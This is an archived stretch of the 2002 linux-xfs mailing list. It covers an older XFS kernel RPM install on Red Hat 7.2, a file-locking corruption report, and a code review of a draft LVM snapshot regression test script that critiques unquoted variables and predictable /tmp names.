> > From owner-linux-xfs@oss.sgi.com Thu Aug 29 22:47:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 22:47:40 -0700 (PDT) Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U5lYtG002057 for ; Thu, 29 Aug 2002 22:47:35 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq01)) with ESMTP id 17A90C26C; Fri, 30 Aug 2002 07:51:08 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id HAA25891; Fri, 30 Aug 2002 07:51:07 +0200 (MET DST) >Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by zuerich.sauter-bc.com (Postfix) with ESMTP id A74E3138010; Fri, 30 Aug 2002 07:50:46 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 703651905B; Fri, 30 Aug 2002 07:50:07 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 388CD30881D; Fri, 30 Aug 2002 07:50:45 +0200 (CEST) Message-ID: <3D6F07B5.341D5847@ch.sauter-bc.com> Date: Fri, 30 Aug 2002 07:50:45 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Eric Sandeen Cc: Mike , linux-xfs@oss.sgi.com Subject: Re: XFS RPM install on Redhat 7.2 References: Content-Transfer-Encoding: 8bit Content-type: text/plain; charset=us-ascii X-archive-position: 160 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Eric Sandeen schrieb: > > I think rpm -ivh --oldpackage .rpm will work, if not, > there are a million other options in the rpm man page. :) > I'd use force as a last resort. If you want to replace the existing package, use rpm -Uvh --oldpackage .rpm BTW, I have built kernel-smp-2.4.9-34SGI_XFS_1.1.src.rpm packages long time ago. Eric, do you remember :) Simon > > --oldpackage > Allow an upgrade to replace a newer package with an > older one. > > Booting an older kernel won't help, rpm is looking at the database > of installed packages, not what is currently running. > > -Eric > > On Thu, 29 Aug 2002, Mike wrote: > > > > > > > I am trying to install the RPM kernel on my system to get XFS support on > > a redhat 7.2. I am unable to install it because I have newer kernel. > > > > [root ~]# rpm -ivh kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm > > Preparing... ########################################### > > [100%] > > package kernel-smp-2.4.9-34 (which is newer than > > kernel-smp-2.4.9-31SGI_XFS_1.1) is already installed > > > > Can I override this option while maintaining the 2.4.9-34smp (just in > > case) or I have to override the newer 2.4.9-34smp kernel. How to > > override the installation (-force do the trick)? If I force the RPM to > > install can I still boot from the 2.4.9-34smp kernel. > > > > How about if I boot to the old kernel (2.4.7) and try to install > > kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm, will this work and the > > installation will stop complaining? > > > > My lilo.conf file, output of lsmond, and current kernel is: > > > > Red Hat Linux release 7.2 (Enigma) > > Kernel 2.4.9-34smp on an i686 > > > > > > [root ~]# cat /etc/lilo.conf > > boot="/dev/sda" > > linear > > prompt > > timeout="50" > > message=/boot/message > > root=/dev/md5 > > default=2.4.9-34smp > > > > image="/boot/vmlinuz-2.4.7-10" > > label="2.4.7-10" > > root="/dev/md5" > > read-only > > initrd="/boot/initrd-2.4.7-10.img" > > > > image=/boot/vmlinuz-2.4.7-10smp > > label="2.4.7-10smp" > > root=/dev/md5 > > read-only > > initrd="/boot/initrd-2.4.7-10smp.img" > > > > image=/boot/vmlinuz-2.4.9-34 > > label="2.4.9-34" > > root=/dev/md5 > > read-only > > initrd="/boot/initrd-2.4.9-34.img" > > > > image="/boot/vmlinuz-2.4.9-34smp" > > label="2.4.9-34smp" > > root="/dev/md5" > > read-only > > initrd="/boot/initrd-2.4.9-34smp.img" > > > > image=/usr/src/linux/arch/i386/boot/bzImage > > label="Linux_Compiled" > > root=/dev/md5 > > read-only > > optional > > > > [root ~]# lsmod > > Module Size Used by Not tainted > > soundcore 4868 0 (autoclean) > > pcmcia_core 42720 0 > > autofs 12100 0 (autoclean) (unused) > > nfs 83808 8 (autoclean) > > lockd 54048 1 (autoclean) [nfs] > > sunrpc 70032 1 (autoclean) [nfs lockd] > > eepro100 18128 1 > > st 27092 0 > > raid0 3968 1 (autoclean) > > usb-ohci 20704 0 (unused) > > usbcore 54656 1 [usb-ohci] > > ext3 65760 9 > > jbd 44580 9 [ext3] > > raid5 19264 0 (unused) > > xor 6488 0 [raid5] > > raid1 14340 7 > > aic7xxx 114784 24 > > sd_mod 11900 24 > > scsi_mod 101592 3 [st aic7xxx sd_mod] > > > > > > Thanks for your help, > > > > Mike > > > > > > From owner-linux-xfs@oss.sgi.com Thu Aug 29 23:12:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 23:12:46 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U6CitG003966 for ; Thu, 29 Aug 2002 23:12:44 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA02750 for ; Thu, 29 Aug 2002 23:16:22 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA20899 for linux-xfs@oss.sgi.com; Fri, 30 Aug 2002 16:15:04 +1000 (EST) Date: Fri, 30 Aug 2002 16:15:04 +1000 (EST) From: Nathan Scott Message-Id: <200208300615.QAA20899@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - kernel/userspace sync up X-archive-position: 161 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Aug 29 23:13:52 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126451a cmd/xfsprogs/include/xfs_fs.h - 1.20 cmd/xfsprogs/include/libxfs.h - 1.16 cmd/xfsprogs/include/xfs_mount.h - 1.26 cmd/xfsprogs/include/xfs_inode.h - 1.25 cmd/xfsprogs/include/xfs_trans.h - 1.9 cmd/xfsprogs/libxfs/logitem.c - 1.7 cmd/xfsprogs/libxfs/xfs.h - 1.23 cmd/xfsprogs/libxfs/trans.c - 1.8 cmd/xfsprogs/libxfs/init.c - 1.20 cmd/xfsprogs/libxfs/xfs_rtalloc.c - 1.13 cmd/xfsprogs/libxfs/xfs_mount.c - 1.11 cmd/xfsprogs/libxfs/xfs_inode.c - 1.13 cmd/xfsprogs/include/xfs_mac.h - 1.4 - sync user/kernel after recent kernel changes. noop for userspace. From owner-linux-xfs@oss.sgi.com Fri Aug 30 00:23:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 00:23:31 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U7NOtG005900 for ; Fri, 30 Aug 2002 00:23:24 -0700 Received: from erbenson.alaska.net (15-pm1.nwc.alaska.net [209.112.138.15]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7U7R1Bs024921 for ; Thu, 29 Aug 2002 23:27:01 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 2103F3A0A for ; Thu, 29 Aug 2002 23:27:00 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 95A9910294; Thu, 29 Aug 2002 23:26:59 -0800 (AKDT) Date: Thu, 29 Aug 2002 23:26:59 -0800 From: Ethan Benson To: xfs mailing list Subject: Re: snapshot regression test try 2 Message-ID: <20020829232659.F17654@plato.local.lan> Mail-Followup-To: xfs mailing list References: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Thu, Aug 29, 2002 at 07:23:25PM -0400 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 162 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Thu, Aug 29, 2002 at 07:23:25PM -0400, Greg Freemyer wrote: > > Nathan, > > I have made a second attempt at the script. > > I think it addresses your concerns. now im going to nitpick. > Someone still needs to do the TODO items, but they don't come up in my environment because $SCRATCH_DEV is a LV for me. > > Steve Lord has run my previous version to some extent, but I don't know if he did it via check, or he just ran the script. > > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com > > ======== 068.out > QA output created by 068 > SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! > Cleanup beginning > ======== 068 > #! /bin/sh > # XFS QA Test No. 068 > # $Id: 1.1 $ > # > # creator > owner=freemyer@NorcrossGroup.com > > seq=`basename $0` > echo "QA output created by $seq" > > here=`pwd` > tmp=/tmp/$$ very predictable, use tmp=`mktemp -d` || exit 1 > status=1 # failure is the default! > > GENERATE_IO_LOAD=TRUE # If "FALSE", the dd load loop is skipped > DELAY_BETWEEN_ITERATIONS=10 > ITERATIONS=20 > VG=/dev/VGscratch > #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand, ie. check sets these > #SCRATCH_MNT=/scratch # Only needed if running by hand, ie. check sets these > SCRATCH_SNAP_MNT=$tmp.scratch_snap quote this: SCRATCH_SNAP_MNT="$tmp.scratch_snap" > > > _cleanup() > { > > echo Cleanup beginning > > rm $tmp.running > /dev/null 2>&1 > xfs_freeze -u $SCRATCH_MNT quote these variables, you cannot be 100% certain they will not contain metacharacters or embedded spaces. > sleep 10 # Give the dd loop time to finish > > # Comment out unless needed. If needed, wrap with logic to ensure the FS is mounted > #Kill off any other possible stray stragglers that may be out there. There should not be any. > # fuser -k -m $SCRATCH_SNAP_MNT/dummy >/dev/null 2>&1 > # fuser -k -m $SCRATCH_MNT/dummy >/dev/null 2>&1 > > wait > > umount $SCRATCH_SNAP_MNT > /dev/null 2>&1 > rmdir $SCRATCH_SNAP_MNT > /dev/null 2>&1 > umount $SCRATCH_MNT > /dev/null 2>&1 > > lvremove -f $VG/scratch_snap > /dev/null 2>&1 > lvremove -f $VG/scratch > /dev/null 2>&1 > > #TODO vgremove $VG > > rm -f $tmp.* # if we ever use tmp files quote, see above. > trap 0 1 2 3 15 > exit $status > } > > trap "_cleanup" 0 1 2 3 15 > > > # get standard environment, filters and checks > . ./common.rc > . ./common.filter > > if [ -e $SCRATCH_SNAP_MNT ]; then rm -rf $SCRATCH_SNAP_MNT; fi NEVER EVER *EVER* rm -rf a unquoted variable. apple did this in a upgrade script and rm -rf'ed / to many users systems. > mkdir $SCRATCH_SNAP_MNT quote, see above. > if [ $LVM = false ]; then _notrun "This test requires the kernel have LVM or EVMS present. (The EVMS test is still TBD)."; fi quote these variables, if $LVM somehow ends up null you will get a shell syntax error. > # Mount the LV > mkdir $SCRATCH_MNT > /dev/null 2&>1 > > mount $VG/scratch $SCRATCH_MNT > > if [ $GENERATE_IO_LOAD != FALSE ]; quote all of these, see above. > then > # Create a large 64 Meg zero filled file on the LV > dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 > /dev/null 2>&1 ditto > #setup an infinite loop to copy the large file, thus generating heavy i/o > > touch $tmp.running you should put this tmpfile in a secure directory (created by mktemp -d) > while [ -f $tmp.running ] > do > dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 > rm $SCRATCH_MNT/junk # This forces metadata updates the next time around > sync > done & > fi > > ii=1 > > while [ $ii -le $ITERATIONS ] quote, see above > do > > # echo $ii Usefull if your are running interactive, but not from the xfs test scripts printf "\r$ii" might be better for this. > #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems > # OPTIONAL > xfs_freeze -f $SCRATCH_MNT quote, see above > if [ $? != 0 ] ; then > echo xfs_freeze -f $SCRATCH_MNT failed > fi > ( > lvcreate --snapshot --size 1G --name scratch_snap $VG/scratch > /dev/null 2>&1 > ret=$? > if [ $ret != 0 ] ; then > echo snapshot creation for $SCRATCH_MNT failed with return code $ret > fi > ) & ditto ditto ditto. > SNAPSHOT_shell_pid=$! > > #if the Snapshot has not completed in ten minutes, kill it > ( > # I have NOT figured out how to kill the sleep 600 before it exits naturally. > # This does not cause a problem, but it clutters the ps table. > sleep 600 > # The kill $TIMEOUT_shell_pid keeps the below from occuring > echo Snapshot Lockup Occured on loop $ii > xfs_freeze -u $SCRATCH_MNT > kill $$ > ) & > TIMEOUT_shell_pid=$! > > wait $SNAPSHOT_shell_pid > > exec 2> /dev/null # Send the shells stderr to /dev/null > kill $TIMEOUT_shell_pid #Cancel the timeout > wait $TIMEOUT_shell_pid # This causes consistent shell notification for some unknow reason > exec 2>&1 # Put it back to the same as stdout > > #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems > # OPTIONAL > xfs_freeze -u $SCRATCH_MNT > if [ $? != 0 ] ; then > echo xfs_freeze -u $SCRATCH_MNT failed > fi > # MANDANTORY (end) > > mount -t xfs -o ro,nouuid $VG/scratch_snap $SCRATCH_SNAP_MNT > if [ $? != 0 ] ; then > echo mount for $SCRATCH_SNAP_MNT failed > fi > umount $SCRATCH_SNAP_MNT > if [ $? != 0 ] ; then > echo umount for $SCRATCH_SNAP_MNT failed > fi > lvremove -f $VG/scratch_snap > /dev/null 2>&1 > if [ $? != 0 ] ; then > echo lvremove for $VG/scratch_snap failed > fi > > ii=`expr $ii + 1` > sleep $DELAY_BETWEEN_ITERATIONS # The VG seems to need time to stabalize between snapshots > # With LVM 1.0.3 and XFS 1.1, I have tried this at 3600 seconds and still had failures > > done see above, much more quoting. > # success, all done > echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! > status=0 > _cleanup > exit 1 # _cleanup should exit, so we should never get here. > you can argue that im being pedantic and the lack of quoting will probably not matter in this script, but in some cases its just too dangerous not to. proper quoting will make your script much more solid and less prone to screwy behavior. also you should never assume that there are not hostile users messing with /tmp. -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1vHkMACgkQJKx7GixEevweJgCfdNs2BVhZcg6MUzOazlVrJlXa A90AnjhtygOAx/NN9gbrI2LSuwUCnDVj =LWj5 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Fri Aug 30 00:53:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 00:53:55 -0700 (PDT) Received: from questra.com (IDENT:qmailr@ns1.questra.com [64.132.48.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U7rntG006508 for ; Fri, 30 Aug 2002 00:53:49 -0700 Received: (qmail 14122 invoked from network); 30 Aug 2002 07:57:28 -0000 Received: from hades.roc.questra.com (HELO questra.com) (64.132.48.226) by ns1.questra.com with SMTP; 30 Aug 2002 07:57:28 -0000 Received: (qmail 26728 invoked from network); 30 Aug 2002 07:57:28 -0000 Received: from odio.roc.questra.com (10.20.8.26) by hades.roc.questra.com with SMTP; 30 Aug 2002 07:57:28 -0000 Received: (from mcdermot@localhost) by odio.roc.questra.com (8.11.6/8.11.4) id g7U7vSN30477 for linux-xfs@oss.sgi.com; Fri, 30 Aug 2002 03:57:28 -0400 Date: Fri, 30 Aug 2002 03:57:28 -0400 From: Scott McDermott To: xfs mailing list Subject: Re: snapshot regression test try 2 Message-ID: <20020830035728.A15469@questra.com> Mail-Followup-To: xfs mailing list References: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> <20020829232659.F17654@plato.local.lan> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020829232659.F17654@plato.local.lan>; from erbenson@alaska.net on Thu, Aug 29, 2002 at 11:26:59PM -0800 Content-Transfer-Encoding: 8bit X-archive-position: 163 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mcdermot@questra.com Precedence: bulk X-list: linux-xfs Ethan Benson on Thu 29/08 23:26 -0800: > you can argue that im being pedantic and the lack of quoting will > probably not matter in this script, but in some cases its just too > dangerous not to. nahh, for instance mktemp will never give you spaces or anything like that. Why quote when you can always guarantee you don't need to? I think scripts which quote everything just to be safe for no reason are silly. Not that every case in the script was like that. > also you should never assume that there are not hostile users messing > with /tmp. yeah PID is too predictable, plus it wraps From owner-linux-xfs@oss.sgi.com Fri Aug 30 03:44:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 03:44:37 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UAiUtG009209 for ; Fri, 30 Aug 2002 03:44:31 -0700 Received: from erbenson.alaska.net (15-pm1.nwc.alaska.net [209.112.138.15]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7UAljBs031370 for ; Fri, 30 Aug 2002 02:47:57 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id E32EF3A0A for ; Fri, 30 Aug 2002 02:47:27 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 60DA110294; Fri, 30 Aug 2002 02:47:28 -0800 (AKDT) Date: Fri, 30 Aug 2002 02:47:28 -0800 From: Ethan Benson To: xfs mailing list Subject: Re: snapshot regression test try 2 Message-ID: <20020830024728.G17654@plato.local.lan> Mail-Followup-To: xfs mailing list References: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> <20020829232659.F17654@plato.local.lan> <"from erbenson"@alaska.net> <20020830035728.A15469@questra.com> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020830035728.A15469@questra.com>; from mcdermot@questra.com on Fri, Aug 30, 2002 at 03:57:28AM -0400 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 164 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Fri, Aug 30, 2002 at 03:57:28AM -0400, Scott McDermott wrote: > > Ethan Benson on Thu 29/08 23:26 -0800: > > you can argue that im being pedantic and the lack of quoting will > > probably not matter in this script, but in some cases its just too > > dangerous not to. > > nahh, for instance mktemp will never give you spaces or anything like > that. Why quote when you can always guarantee you don't need to? I because its the right thing to do, you don't know that someone won't modify the mktemp part of the script just to have the rest fall apart because it was written sloppily. > think scripts which quote everything just to be safe for no reason are > silly. Not that every case in the script was like that. no they are correct. not quoting is just sloppy and creates fragile broken scripts which break unecessarily. not quoting variables, especially in [ ] constructs and rm -rf is pure sloppy lazyness. never assume. just about every stupid assed bug i find in software is do to stupid assumptions (all endianess is little! all chars are signed! this variable won't ever be null! this variable will never have a space or metacharacter! nobody will ever provide more data then will fit in my fixed buffer size! why check? lets assume! ......). -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1vTUAACgkQJKx7GixEevziawCcDHIr97uOHAJyY748yydwZayg W6YAn3c0MJu7OIs0bc+G/minhNT/Ddn0 =o6s+ -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Fri Aug 30 05:34:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 05:34:50 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UCYjtG015970 for ; Fri, 30 Aug 2002 05:34:45 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7UCcTD09308; Fri, 30 Aug 2002 07:38:29 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: linux-xfs@oss.sgi.com In-Reply-To: References: Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 30 Aug 2002 07:38:29 -0500 Message-Id: <1030711109.9300.7.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 165 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs Sorry, was out yesterday. The corruption we saw was in the data for the application. It's a point of sale application (which I can provide access to or simply provide to if someone can help me with it) that uses an ISAM database. It appears that 2 or more people are getting the write access to the same record at the same time. This doesn't happen on ext2, but does on XFS. It would appear to me, and I'll admit I've had no sleep for about a week, that it's a file locking issue. In fact we're seeing problems where two people will get the same ticket number for their sales. This thing gets ticket numbers by autogenerating a table row for it and passing the key to the client application. For two applications to get the same ticket number they have to look and see what the next available number is at the same time. One of them is supposed to lock that file during it's write, but that isn't happening. I think that's a start. Chris Tooley On Wed, 2002-08-28 at 17:48, Eric Sandeen wrote: > > Chris - did you ever characterize the corruption you saw? > > -Eric > > On 28 Aug 2002, Chris Tooley wrote: > > > > > OK, it's running fine on ext2. What are the next steps to see if we can > > rid ourselves of the problem with XFS? I'd like to help with this, but > > don't know what we need to do to help. > > From owner-linux-xfs@oss.sgi.com Fri Aug 30 06:49:06 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 06:49:10 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UDn5tG017679 for ; Fri, 30 Aug 2002 06:49:05 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA52925; Fri, 30 Aug 2002 08:52:40 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA39515; Fri, 30 Aug 2002 08:52:40 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7UDqBn17743; Fri, 30 Aug 2002 08:52:11 -0500 Subject: Re: Locking problems From: Steve Lord To: Chris Tooley Cc: linux-xfs@oss.sgi.com In-Reply-To: <1030711109.9300.7.camel@itspec.amoa.org> References: <1030711109.9300.7.camel@itspec.amoa.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 30 Aug 2002 08:52:10 -0500 Message-Id: <1030715530.9148.160.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 166 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-08-30 at 07:38, Chris Tooley wrote: > > Sorry, was out yesterday. The corruption we saw was in the data for the > application. It's a point of sale application (which I can provide > access to or simply provide to if someone can help me with it) that uses > an ISAM database. It appears that 2 or more people are getting the > write access to the same record at the same time. This doesn't happen > on ext2, but does on XFS. It would appear to me, and I'll admit I've > had no sleep for about a week, that it's a file locking issue. In fact > we're seeing problems where two people will get the same ticket number > for their sales. This thing gets ticket numbers by autogenerating a > table row for it and passing the key to the client application. For two > applications to get the same ticket number they have to look and see > what the next available number is at the same time. One of them is > supposed to lock that file during it's write, but that isn't happening. Can you confirm for sure that it is using file locking to do this, saying it works for one filesystem and not another is a little bizarre since the file locking implementation is above the filesystems not inside them. A slightly harder question would be is this mandatory file locking or not? Having the issue narrowed down like this is a great help in knowing where to look. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 07:03:16 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 07:03:22 -0700 (PDT) Received: from imf16bis.bellsouth.net (mail016.mail.bellsouth.net [205.152.58.36]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UE3FtG018400 for ; Fri, 30 Aug 2002 07:03:15 -0700 Received: from TAZ2 ([66.156.1.201]) by imf13bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020829150405.UIRW15998.imf13bis.bellsouth.net@TAZ2>; Thu, 29 Aug 2002 11:04:05 -0400 Date: Thu, 29 Aug 2002 11:01:11 -0400 From: Greg Freemyer Subject: re[2]: Draft Snapshot Regression Test To: Nathan Scott cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020829150405.UIRW15998.imf13bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7UE3GtG018402 X-archive-position: 167 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> hi Greg, >> On Wed, Aug 28, 2002 at 07:20:49PM -0400, Greg Freemyer wrote: >> > >> > Nathan, >> > >> > I think I have a working snapshot regression test. >> Cool. Should have mentioned this before - have you tried >> running this via the "check" script?, ie. >> # cd cmd/xfstests >> # ./check 068 Yes, I have been testing it exclusively via check. I did have to add 068 to the "group" file. >> this is how it would run as part of auto-qa - will need an >> output file which has the expected output from a "passing" >> run (ie. 068.out) like the other tests. My currernt 068.out file is: >>>> QA output created by 068 lvm-mod 58112 9 (autoclean) mkdir: cannot create directory `//scratch': File exists 1000+0 records in 1000+0 records out SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! Cleanup beginning umount: /scratch_snap: not mounted lvremove -- logical volume "/dev/TruStore-Data/scratch_snap" doesn't exist lvremove -- doing automatic backup of volume group "TruStore-Data" lvremove -- logical volume "/dev/TruStore-Data/scratch" successfully removed <<<< I guess I should be sending even more of the above to /dev/null, to eliminate the chance of a lvm wording change from causing a failure? I will send a followup e-mail draft script that gets the output done to just a couple of messages on a success. >> Some other suggestions for your script follow... >> > owner=freemyer@NorcrossGroup.com >> > >> > seq=`basename $0` >> > echo "QA output created by $seq" >> > >> > DELAY_BETWEEN_ITERATIONS=20 >> > ITERATIONS=30 >> > VG=/dev/VGscratch >> > #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand >> > #SCRATCH_MNT=/scratch # Only needed if running by hand >> These would be setup by "check" if running by hand, which >> uses the common.config (I think) file. I have them commented out because check sets them, but I have them in there as a reminder because I also cross posted this to the LVM list, and I thought they could just uncomment that and run it without having check available. >> > umount /scratch_snap >> > rmdir /scratch_snap >> Might be better to do this in /tmp/scratch_snap? Will do, but I used /tmp/$$.scratch_snap in line with the existing $tmp variable. >> > umount $SCRATCH_MNT >> > >> > lvremove -f $VG/scratch_snap >> > lvremove -f $VG/scratch >> > >> > if [ -e /scratch_snap ]; then _notrun "This test requires that >> /scratch_snap not exist."; fi >> Could then rmdir it here instead of this step. Now that it is in /tmp, I don't have a problem with rm -rf on it. I did not want to do that original location. >> > mkdir /scratch_snap >> > >> > #Verify we have the lvm user tools >> > LVM=`rpm -qa | grep 'lvm-'` >> Thats not so good - makes it dependent on rpm - better to do >> something like: >> [ -x /sbin/lvcreate 